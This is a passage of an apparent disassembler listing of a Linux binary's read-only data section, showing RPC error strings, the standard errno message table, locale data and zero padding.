aServerReject_0	db 'Server rejected verifier',0
aInvalidClientV	db 'Invalid client verifier',0
aServerReject_1	db 'Server rejected credential',0
aInvalidClientC	db 'Invalid client credential',0
aAuthentication	db 'Authentication OK',0
aOutOfMemory	db 'out of memory',0    ; DATA XREF: sub_8063B04+33o
aClnttcp_crea_0	db 'clnttcp_create: %s',0Ah,0 ; DATA XREF: sub_8063B04+48o
aOutOfMemory_0	db 'out of memory',0    ; DATA XREF: sub_80641C8+46o
aClntudp_create	db 'clntudp_create: %s',0Ah,0 ; DATA XREF: sub_80641C8+5Co
aOutOfMemory_1	db 'out of memory',0    ; DATA XREF: sub_80651B8+6Co
					; sub_8065304+81o
aXdr_bytesS	db 'xdr_bytes: %s',0Ah,0 ; DATA XREF: sub_80651B8+81o
aXdr_stringS	db 'xdr_string: %s',0Ah,0 ; DATA XREF: sub_8065304+96o
aOutOfMemory_2	db 'out of memory',0    ; DATA XREF: sub_8065750+4Bo
aXdrrec_createS	db 'xdrrec_create: %s',0Ah,0 ; DATA XREF: sub_8065750+60o
		db 3 dup(0)
dword_806AE98	dd 806BBAAh		; DATA XREF: sub_8056E14+2Cr
					; sub_80625DC+3Dr ...
		dd offset aOperationNotPe ; "Operation not permitted"
		dd offset aNoSuchFileOrDi ; "No	such file or directory"
		dd offset aNoSuchProcess ; "No such process"
		dd offset aInterruptedSys ; "Interrupted system	call"
		dd offset aIOError	; "I/O error"
		dd offset aNoSuchDeviceOr ; "No	such device or address"
		dd offset aArgListTooLong ; "Arg list too long"
		dd offset aExecFormatErro ; "Exec format error"
		dd offset aBadFileNumber ; "Bad	file number"
		dd offset aNoChildProcess ; "No	child processes"
		dd offset aTryAgain	; "Try again"
		dd offset aOutOfMemory_4 ; "Out	of memory"
		dd offset aPermissionDeni ; "Permission	denied"
		dd offset aBadAddress	; "Bad address"
		dd offset aBlockDeviceReq ; "Block device required"
		dd offset aDeviceOrResour ; "Device or resource	busy"
		dd offset aFileExists	; "File	exists"
		dd offset aCrossDeviceLin ; "Cross-device link"
		dd offset aNoSuchDevice	; "No such device"
		dd offset aNotADirectory ; "Not	a directory"
		dd offset aIsADirectory	; "Is a	directory"
		dd offset aInvalidArgumen ; "Invalid argument"
		dd offset aFileTableOverf ; "File table	overflow"
		dd offset aTooManyOpenFil ; "Too many open files"
		dd offset aNotATypewriter ; "Not a typewriter"
		dd offset aTextFileBusy	; "Text	file busy"
		dd offset aFileTooLarge	; "File	too large"
		dd offset aNoSpaceLeftOnD ; "No	space left on device"
		dd offset aIllegalSeek	; "Illegal seek"
		dd offset aReadOnlyFileSy ; "Read-only file system"
		dd offset aTooManyLinks	; "Too many links"
		dd offset aBrokenPipe	; "Broken pipe"
		dd offset aMathArgumentOu ; "Math argument out of domain of func"
		dd offset aMathResultNotR ; "Math result not representable"
		dd offset aResourceDeadlo ; "Resource deadlock would occur"
		dd offset aFileNameTooLon ; "File name too long"
		dd offset aNoRecordLocksA ; "No	record locks available"
		dd offset aFunctionNotImp ; "Function not implemented"
		dd offset aDirectoryNotEm ; "Directory not empty"
		dd offset aTooManySymboli ; "Too many symbolic links encountered"
		dd offset aOperationWould ; "Operation would block"
		dd offset aNoMessageOfDes ; "No	message	of desired type"
		dd offset aIdentifierRemo ; "Identifier	removed"
		dd offset aChannelNumberO ; "Channel number out	of range"
		dd offset aLevel2NotSynch ; "Level 2 not synchronized"
		dd offset aLevel3Halted	; "Level 3 halted"
		dd offset aLevel3Reset	; "Level 3 reset"
		dd offset aLinkNumberOutO ; "Link number out of	range"
		dd offset aProtocolDriver ; "Protocol driver not attached"
		dd offset aNoCsiStructure ; "No	CSI structure available"
		dd offset aLevel2Halted	; "Level 2 halted"
		dd offset aInvalidExchang ; "Invalid exchange"
		dd offset aInvalidRequest ; "Invalid request descriptor"
		dd offset aExchangeFull	; "Exchange full"
		dd offset aNoAnode	; "No anode"
		dd offset aInvalidReque_0 ; "Invalid request code"
		dd offset aInvalidSlot	; "Invalid slot"
		dd offset aFileLockingDea ; "File locking deadlock error"
		dd offset aBadFontFileFor ; "Bad font file format"
		dd offset aDeviceNotAStre ; "Device not	a stream"
		dd offset aNoDataAvailabl ; "No	data available"
		dd offset aTimerExpired	; "Timer expired"
		dd offset aOutOfStreamsRe ; "Out of streams resources"
		dd offset aMachineIsNotOn ; "Machine is	not on the network"
		dd offset aPackageNotInst ; "Package not installed"
		dd offset aObjectIsRemote ; "Object is remote"
		dd offset aLinkHasBeenSev ; "Link has been severed"
		dd offset aAdvertiseError ; "Advertise error"
		dd offset aSrmountError	; "Srmount error"
		dd offset aCommunicationE ; "Communication error on send"
		dd offset aProtocolError ; "Protocol error"
		dd offset aMultihopAttemp ; "Multihop attempted"
		dd offset aRfsSpecificErr ; "RFS specific error"
		dd offset aNotADataMessag ; "Not a data	message"
		dd offset aValueTooLargeF ; "Value too large for defined data type"
		dd offset aNameNotUniqueO ; "Name not unique on	network"
		dd offset aFileDescriptor ; "File descriptor in	bad state"
		dd offset aRemoteAddressC ; "Remote address changed"
		dd offset aCanNotAccessAN ; "Can not access a needed shared library"
		dd offset aAccessingACorr ; "Accessing a corrupted shared library"
		dd offset a_libSectionInA ; ".lib section in a.out corrupted"
		dd offset aAttemptingToLi ; "Attempting	to link	in too many shared l"...
		dd offset aCannotExecASha ; "Cannot exec a shared library directly"
		dd offset aIllegalByteSeq ; "Illegal byte sequence"
		dd offset aInterruptedS_0 ; "Interrupted system	call should be resta"...
		dd offset aStreamsPipeErr ; "Streams pipe error"
		dd offset aTooManyUsers	; "Too many users"
		dd offset aSocketOperatio ; "Socket operation on non-socket"
		dd offset aDestinationAdd ; "Destination address required"
		dd offset aMessageTooLong ; "Message too long"
		dd offset aProtocolWrongT ; "Protocol wrong type for socket"
		dd offset aProtocolNotAva ; "Protocol not available"
		dd offset aProtocolNotSup ; "Protocol not supported"
		dd offset aSocketTypeNotS ; "Socket type not supported"
		dd offset aOperationNotSu ; "Operation not supported on	transport en"...
		dd offset aProtocolFamily ; "Protocol family not supported"
		dd offset aAddressFamilyN ; "Address family not	supported by protoco"...
		dd offset aAddressAlready ; "Address already in	use"
		dd offset aCannotAssignRe ; "Cannot assign requested address"
		dd offset aNetworkIsDown ; "Network is down"
		dd offset aNetworkIsUnrea ; "Network is	unreachable"
		dd offset aNetworkDropped ; "Network dropped connection	because	of r"...
		dd offset aSoftwareCaused ; "Software caused connection	abort"
		dd offset aConnectionRese ; "Connection	reset by peer"
		dd offset aNoBufferSpaceA ; "No	buffer space available"
		dd offset aTransportEndpo ; "Transport endpoint	is already connected"...
		dd offset aTransportEnd_0 ; "Transport endpoint	is not connected"
		dd offset aCannotSendAfte ; "Cannot send after transport endpoint sh"...
		dd offset aTooManyReferen ; "Too many references: cannot splice"
		dd offset aConnectionTime ; "Connection	timed out"
		dd offset aConnectionRefu ; "Connection	refused"
		dd offset aHostIsDown	; "Host	is down"
		dd offset aNoRouteToHost ; "No route to	host"
		dd offset aOperationAlrea ; "Operation already in progress"
		dd offset aOperationNowIn ; "Operation now in progress"
		dd offset aStaleNfsFileHa ; "Stale NFS file handle"
		dd offset aStructureNeeds ; "Structure needs cleaning"
		dd offset aNotAXenixNamed ; "Not a XENIX named type file"
		dd offset aNoXenixSemapho ; "No	XENIX semaphores available"
		dd offset aIsANamedTypeFi ; "Is	a named	type file"
		dd offset aRemoteIOError ; "Remote I/O error"
		dd offset aQuotaExceeded ; "Quota exceeded"
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
aQuotaExceeded	db 'Quota exceeded',0   ; DATA XREF: .rodata:0806B080o
aRemoteIOError	db 'Remote I/O error',0 ; DATA XREF: .rodata:0806B07Co
aIsANamedTypeFi	db 'Is a named type file',0 ; DATA XREF: .rodata:0806B078o
aNoXenixSemapho	db 'No XENIX semaphores available',0 ; DATA XREF: .rodata:0806B074o
aNotAXenixNamed	db 'Not a XENIX named type file',0 ; DATA XREF: .rodata:0806B070o
aStructureNeeds	db 'Structure needs cleaning',0 ; DATA XREF: .rodata:0806B06Co
aStaleNfsFileHa	db 'Stale NFS file handle',0 ; DATA XREF: .rodata:0806B068o
aOperationNowIn	db 'Operation now in progress',0 ; DATA XREF: .rodata:0806B064o
aOperationAlrea	db 'Operation already in progress',0 ; DATA XREF: .rodata:0806B060o
aNoRouteToHost	db 'No route to host',0 ; DATA XREF: .rodata:0806B05Co
aHostIsDown	db 'Host is down',0     ; DATA XREF: .rodata:0806B058o
aConnectionRefu	db 'Connection refused',0 ; DATA XREF: .rodata:0806B054o
aConnectionTime	db 'Connection timed out',0 ; DATA XREF: .rodata:0806B050o
aTooManyReferen	db 'Too many references: cannot splice',0 ; DATA XREF: .rodata:0806B04Co
aCannotSendAfte	db 'Cannot send after transport endpoint shutdown',0
					; DATA XREF: .rodata:0806B048o
aTransportEnd_0	db 'Transport endpoint is not connected',0 ; DATA XREF: .rodata:0806B044o
aTransportEndpo	db 'Transport endpoint is already connected',0
					; DATA XREF: .rodata:0806B040o
aNoBufferSpaceA	db 'No buffer space available',0 ; DATA XREF: .rodata:0806B03Co
aConnectionRese	db 'Connection reset by peer',0 ; DATA XREF: .rodata:0806B038o
aSoftwareCaused	db 'Software caused connection abort',0 ; DATA XREF: .rodata:0806B034o
aNetworkDropped	db 'Network dropped connection because of reset',0
					; DATA XREF: .rodata:0806B030o
aNetworkIsUnrea	db 'Network is unreachable',0 ; DATA XREF: .rodata:0806B02Co
aNetworkIsDown	db 'Network is down',0  ; DATA XREF: .rodata:0806B028o
aCannotAssignRe	db 'Cannot assign requested address',0 ; DATA XREF: .rodata:0806B024o
aAddressAlready	db 'Address already in use',0 ; DATA XREF: .rodata:0806B020o
aAddressFamilyN	db 'Address family not supported by protocol',0
					; DATA XREF: .rodata:0806B01Co
aProtocolFamily	db 'Protocol family not supported',0 ; DATA XREF: .rodata:0806B018o
aOperationNotSu	db 'Operation not supported on transport endpoint',0
					; DATA XREF: .rodata:0806B014o
aSocketTypeNotS	db 'Socket type not supported',0 ; DATA XREF: .rodata:0806B010o
aProtocolNotSup	db 'Protocol not supported',0 ; DATA XREF: .rodata:0806B00Co
aProtocolNotAva	db 'Protocol not available',0 ; DATA XREF: .rodata:0806B008o
aProtocolWrongT	db 'Protocol wrong type for socket',0 ; DATA XREF: .rodata:0806B004o
aMessageTooLong	db 'Message too long',0 ; DATA XREF: .rodata:0806B000o
aDestinationAdd	db 'Destination address required',0 ; DATA XREF: .rodata:0806AFFCo
aSocketOperatio	db 'Socket operation on non-socket',0 ; DATA XREF: .rodata:0806AFF8o
aTooManyUsers	db 'Too many users',0   ; DATA XREF: .rodata:0806AFF4o
aStreamsPipeErr	db 'Streams pipe error',0 ; DATA XREF: .rodata:0806AFF0o
aInterruptedS_0	db 'Interrupted system call should be restarted',0
					; DATA XREF: .rodata:0806AFECo
aIllegalByteSeq	db 'Illegal byte sequence',0 ; DATA XREF: .rodata:0806AFE8o
aCannotExecASha	db 'Cannot exec a shared library directly',0 ; DATA XREF: .rodata:0806AFE4o
aAttemptingToLi	db 'Attempting to link in too many shared libraries',0
					; DATA XREF: .rodata:0806AFE0o
a_libSectionInA	db '.lib section in a.out corrupted',0 ; DATA XREF: .rodata:0806AFDCo
aAccessingACorr	db 'Accessing a corrupted shared library',0 ; DATA XREF: .rodata:0806AFD8o
aCanNotAccessAN	db 'Can not access a needed shared library',0 ; DATA XREF: .rodata:0806AFD4o
aRemoteAddressC	db 'Remote address changed',0 ; DATA XREF: .rodata:0806AFD0o
aFileDescriptor	db 'File descriptor in bad state',0 ; DATA XREF: .rodata:0806AFCCo
aNameNotUniqueO	db 'Name not unique on network',0 ; DATA XREF: .rodata:0806AFC8o
aValueTooLargeF	db 'Value too large for defined data type',0 ; DATA XREF: .rodata:0806AFC4o
aNotADataMessag	db 'Not a data message',0 ; DATA XREF: .rodata:0806AFC0o
aRfsSpecificErr	db 'RFS specific error',0 ; DATA XREF: .rodata:0806AFBCo
aMultihopAttemp	db 'Multihop attempted',0 ; DATA XREF: .rodata:0806AFB8o
aProtocolError	db 'Protocol error',0   ; DATA XREF: .rodata:0806AFB4o
aCommunicationE	db 'Communication error on send',0 ; DATA XREF: .rodata:0806AFB0o
aSrmountError	db 'Srmount error',0    ; DATA XREF: .rodata:0806AFACo
aAdvertiseError	db 'Advertise error',0  ; DATA XREF: .rodata:0806AFA8o
aLinkHasBeenSev	db 'Link has been severed',0 ; DATA XREF: .rodata:0806AFA4o
aObjectIsRemote	db 'Object is remote',0 ; DATA XREF: .rodata:0806AFA0o
aPackageNotInst	db 'Package not installed',0 ; DATA XREF: .rodata:0806AF9Co
aMachineIsNotOn	db 'Machine is not on the network',0 ; DATA XREF: .rodata:0806AF98o
aOutOfStreamsRe	db 'Out of streams resources',0 ; DATA XREF: .rodata:0806AF94o
aTimerExpired	db 'Timer expired',0    ; DATA XREF: .rodata:0806AF90o
aNoDataAvailabl	db 'No data available',0 ; DATA XREF: .rodata:0806AF8Co
aDeviceNotAStre	db 'Device not a stream',0 ; DATA XREF: .rodata:0806AF88o
aBadFontFileFor	db 'Bad font file format',0 ; DATA XREF: .rodata:0806AF84o
aFileLockingDea	db 'File locking deadlock error',0 ; DATA XREF: .rodata:0806AF80o
aInvalidSlot	db 'Invalid slot',0     ; DATA XREF: .rodata:0806AF7Co
aInvalidReque_0	db 'Invalid request code',0 ; DATA XREF: .rodata:0806AF78o
aNoAnode	db 'No anode',0         ; DATA XREF: .rodata:0806AF74o
aExchangeFull	db 'Exchange full',0    ; DATA XREF: .rodata:0806AF70o
aInvalidRequest	db 'Invalid request descriptor',0 ; DATA XREF: .rodata:0806AF6Co
aInvalidExchang	db 'Invalid exchange',0 ; DATA XREF: .rodata:0806AF68o
aLevel2Halted	db 'Level 2 halted',0   ; DATA XREF: .rodata:0806AF64o
aNoCsiStructure	db 'No CSI structure available',0 ; DATA XREF: .rodata:0806AF60o
aProtocolDriver	db 'Protocol driver not attached',0 ; DATA XREF: .rodata:0806AF5Co
aLinkNumberOutO	db 'Link number out of range',0 ; DATA XREF: .rodata:0806AF58o
aLevel3Reset	db 'Level 3 reset',0    ; DATA XREF: .rodata:0806AF54o
aLevel3Halted	db 'Level 3 halted',0   ; DATA XREF: .rodata:0806AF50o
aLevel2NotSynch	db 'Level 2 not synchronized',0 ; DATA XREF: .rodata:0806AF4Co
aChannelNumberO	db 'Channel number out of range',0 ; DATA XREF: .rodata:0806AF48o
aIdentifierRemo	db 'Identifier removed',0 ; DATA XREF: .rodata:0806AF44o
aNoMessageOfDes	db 'No message of desired type',0 ; DATA XREF: .rodata:0806AF40o
aOperationWould	db 'Operation would block',0 ; DATA XREF: .rodata:0806AF3Co
aTooManySymboli	db 'Too many symbolic links encountered',0 ; DATA XREF: .rodata:0806AF38o
aDirectoryNotEm	db 'Directory not empty',0 ; DATA XREF: .rodata:0806AF34o
aFunctionNotImp	db 'Function not implemented',0 ; DATA XREF: .rodata:0806AF30o
aNoRecordLocksA	db 'No record locks available',0 ; DATA XREF: .rodata:0806AF2Co
aFileNameTooLon	db 'File name too long',0 ; DATA XREF: .rodata:0806AF28o
aResourceDeadlo	db 'Resource deadlock would occur',0 ; DATA XREF: .rodata:0806AF24o
aMathResultNotR	db 'Math result not representable',0 ; DATA XREF: .rodata:0806AF20o
aMathArgumentOu	db 'Math argument out of domain of func',0 ; DATA XREF: .rodata:0806AF1Co
aBrokenPipe	db 'Broken pipe',0      ; DATA XREF: .rodata:0806AF18o
aTooManyLinks	db 'Too many links',0   ; DATA XREF: .rodata:0806AF14o
aReadOnlyFileSy	db 'Read-only file system',0 ; DATA XREF: .rodata:0806AF10o
aIllegalSeek	db 'Illegal seek',0     ; DATA XREF: .rodata:0806AF0Co
aNoSpaceLeftOnD	db 'No space left on device',0 ; DATA XREF: .rodata:0806AF08o
aFileTooLarge	db 'File too large',0   ; DATA XREF: .rodata:0806AF04o
aTextFileBusy	db 'Text file busy',0   ; DATA XREF: .rodata:0806AF00o
aNotATypewriter	db 'Not a typewriter',0 ; DATA XREF: .rodata:0806AEFCo
aTooManyOpenFil	db 'Too many open files',0 ; DATA XREF: .rodata:0806AEF8o
aFileTableOverf	db 'File table overflow',0 ; DATA XREF: .rodata:0806AEF4o
aInvalidArgumen	db 'Invalid argument',0 ; DATA XREF: .rodata:0806AEF0o
aIsADirectory	db 'Is a directory',0   ; DATA XREF: .rodata:0806AEECo
aNotADirectory	db 'Not a directory',0  ; DATA XREF: .rodata:0806AEE8o
aNoSuchDevice	db 'No such device',0   ; DATA XREF: .rodata:0806AEE4o
aCrossDeviceLin	db 'Cross-device link',0 ; DATA XREF: .rodata:0806AEE0o
aFileExists	db 'File exists',0      ; DATA XREF: .rodata:0806AEDCo
aDeviceOrResour	db 'Device or resource busy',0 ; DATA XREF: .rodata:0806AED8o
aBlockDeviceReq	db 'Block device required',0 ; DATA XREF: .rodata:0806AED4o
aBadAddress	db 'Bad address',0      ; DATA XREF: .rodata:0806AED0o
aPermissionDeni	db 'Permission denied',0 ; DATA XREF: .rodata:0806AECCo
aOutOfMemory_4	db 'Out of memory',0    ; DATA XREF: .rodata:0806AEC8o
aTryAgain	db 'Try again',0        ; DATA XREF: .rodata:0806AEC4o
aNoChildProcess	db 'No child processes',0 ; DATA XREF: .rodata:0806AEC0o
aBadFileNumber	db 'Bad file number',0  ; DATA XREF: .rodata:0806AEBCo
aExecFormatErro	db 'Exec format error',0 ; DATA XREF: .rodata:0806AEB8o
aArgListTooLong	db 'Arg list too long',0 ; DATA XREF: .rodata:0806AEB4o
aNoSuchDeviceOr	db 'No such device or address',0 ; DATA XREF: .rodata:0806AEB0o
aIOError	db 'I/O error',0        ; DATA XREF: .rodata:0806AEACo
aInterruptedSys	db 'Interrupted system call',0 ; DATA XREF: .rodata:0806AEA8o
aNoSuchProcess	db 'No such process',0  ; DATA XREF: .rodata:0806AEA4o
aNoSuchFileOrDi	db 'No such file or directory',0 ; DATA XREF: .rodata:0806AEA0o
aOperationNotPe	db 'Operation not permitted',0 ; DATA XREF: .rodata:0806AE9Co
aUnknownError_0	db 'Unknown error',0
dword_806BBB8	dd 7Bh			; DATA XREF: sub_8056E14+14r
					; sub_80625DC+35r ...
unk_806BBBC	db    0	;		; DATA XREF: .rodata:0806AA28o
					; .data:08079284o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_806BBC8	db    0	;		; DATA XREF: .rodata:0806AA2Co
					; .data:08079290o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  12h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  12h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  12h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  12h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  12h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  12h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  7Fh	; 
		db    0	;  
		db    0	;  
		db    0	;  
unk_806BC14	db    0	;		; DATA XREF: .rodata:0806AA30o
					; .data:0807928Co
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  41h	; A
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  31h	; 1
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  30h	; 0
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  30h	; 0
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db    0	;  
aNnAlpha	db '[nN][[:alpha:]]',0
aYyAlpha	db '[yY][[:alpha:]]',0
		align 4
unk_806BC54	db    0	;		; DATA XREF: .rodata:0806AA24o
					; .data:08079294o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db 0A8h	; ╗
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db 0A4h	; є
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db 0A0h	; ═
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  9Ch	; °
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  98h	; ≤
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  94h	; ■
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  8Dh	; █
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  86h	; ├
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  7Eh	; ~
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  74h	; t
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  6Bh	; k
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  64h	; d
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  5Bh	; [
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  57h	; W
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  53h	; S
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  4Fh	; O
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  4Bh	; K
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  47h	; G
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  43h	; C
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  3Fh	; ?
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  3Bh	; ;
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  37h	; 7
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  33h	; 3
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  2Fh	; /
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  2Bh	; +
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  23h	; #
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  1Ah	;  
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  14h	;  
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  0Eh	;  
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  47h	; G
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db    9	;  
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db    4	;  
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db 0FDh	; Щ
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0F3h	; С
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0EBh	; К
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0E2h	; Б
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0D9h	; ы
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0D6h	; ж
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0D3h	; с
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0BEh	; Ў
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0B5h	; ╣
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0ACh	; ╛
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
